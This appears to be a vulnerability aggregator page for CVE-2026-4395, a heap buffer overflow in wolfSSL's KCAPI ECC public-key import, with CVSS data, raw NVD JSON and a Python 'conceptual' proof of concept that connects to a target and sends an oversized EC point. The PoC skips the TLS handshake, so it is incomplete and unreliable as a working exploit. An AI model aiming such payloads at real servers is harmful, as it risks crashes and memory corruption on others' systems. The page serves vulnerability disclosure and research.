Security Vulnerability Report
中文
CVE-2026-4395 CVSS 9.8 CRITICAL

CVE-2026-4395

Published: 2026-03-19 21:17:14
Last Modified: 2026-03-26 18:16:38

Description

Heap-based buffer overflow in the KCAPI ECC code path of wc_ecc_import_x963_ex() in wolfSSL wolfcrypt allows a remote attacker to write attacker-controlled data past the bounds of the pubkey_raw buffer via a crafted oversized EC public key point. The WOLFSSL_KCAPI_ECC code path copies the input to key->pubkey_raw (132 bytes) using XMEMCPY without a bounds check, unlike the ATECC code path which includes a length validation. This can be triggered during TLS key exchange when a malicious peer sends a crafted ECPoint in ServerKeyExchange.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:wolfssl:wolfssl:*:*:*:*:*:*:*:* - VULNERABLE
wolfSSL (支持 WOLFSSL_KCAPI_ECC 代码路径的版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket import struct # Conceptual Proof of Concept for CVE-2026-4395 # This script demonstrates the logic of sending a malformed EC point # during a TLS handshake to trigger the buffer overflow in wolfSSL. def create_malformed_ec_point(): """ Creates a malicious EC point. Normal uncompressed point structure: 0x04 + X + Y. Here we create a point larger than the 132-byte buffer (pubkey_raw). """ # 0x04 indicates uncompressed form prefix = b'\x04' # Generate attacker-controlled data exceeding 132 bytes # The buffer size is 132, so we send significantly more to cause overflow. payload = b'A' * 200 return prefix + payload def send_malformed_tls_handshake(target_ip, target_port): """ Attempts to send a crafted TLS handshake fragment. Note: A full TLS handshake implementation is required for actual exploitation. This is a simplified demonstration of the network interaction. """ try: print(f"[*] Connecting to {target_ip}:{target_port}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, target_port)) # In a real exploit, send ClientHello, receive ServerHello, etc. # Then send the ClientKeyExchange or ServerKeyExchange containing the bad point. malformed_data = create_malformed_ec_point() print(f"[*] Sending malformed EC point payload ({len(malformed_data)} bytes)...") # Sending raw payload (Conceptual) s.send(malformed_data) print("[+] Payload sent. Check if the target service crashed.") s.close() except Exception as e: print(f"[-] Error during connection or transmission: {e}") if __name__ == "__main__": # Example usage (Replace with actual target for testing) # send_malformed_tls_handshake("127.0.0.1", 4433) print("This is a conceptual PoC script for CVE-2026-4395.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4395", "sourceIdentifier": "[email protected]", "published": "2026-03-19T21:17:13.660", "lastModified": "2026-03-26T18:16:37.927", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Heap-based buffer overflow in the KCAPI ECC code path of wc_ecc_import_x963_ex() in wolfSSL wolfcrypt allows a remote attacker to write attacker-controlled data past the bounds of the pubkey_raw buffer via a crafted oversized EC public key point. The WOLFSSL_KCAPI_ECC code path copies the input to key->pubkey_raw (132 bytes) using XMEMCPY without a bounds check, unlike the ATECC code path which includes a length validation. This can be triggered during TLS key exchange when a malicious peer sends a crafted ECPoint in ServerKeyExchange."}, {"lang": "es", "value": "Un desbordamiento de búfer basado en montículo en la ruta de código KCAPI ECC de wc_ecc_import_x963_ex() en wolfSSL wolfcrypt permite a un atacante remoto escribir datos controlados por el atacante más allá de los límites del búfer pubkey_raw a través de un punto de clave pública EC sobredimensionado y manipulado. La ruta de código WOLFSSL_KCAPI_ECC copia la entrada a key->pubkey_raw (132 bytes) usando XMEMCPY sin una verificación de límites, a diferencia de la ruta de código ATECC que incluye una validación de longitud. Esto puede ser activado durante el intercambio de claves TLS cuando un par malicioso envía un ECPoint manipulado en ServerKeyExchange."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:U/V:D/RE:L/U:Amber", "baseScore": 1.3, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "YES", "Recovery": "USER", "valueDensity": "DIFFUSE", "vulnerabilityResponseEffort": "LOW", "providerUrgency": "AMBER"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wolfssl:wolfssl:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.9.0", "matchCriteriaId": "DA3FA1CB-CEDC-4D49-9ECD-99BBF1602312"}]}]}], "references": [{"url": "https://github.com/wolfSSL/wolfssl/pull/9988", "source": "[email protected]", "tags": ["Patch", "Issue Tracking"]}]}}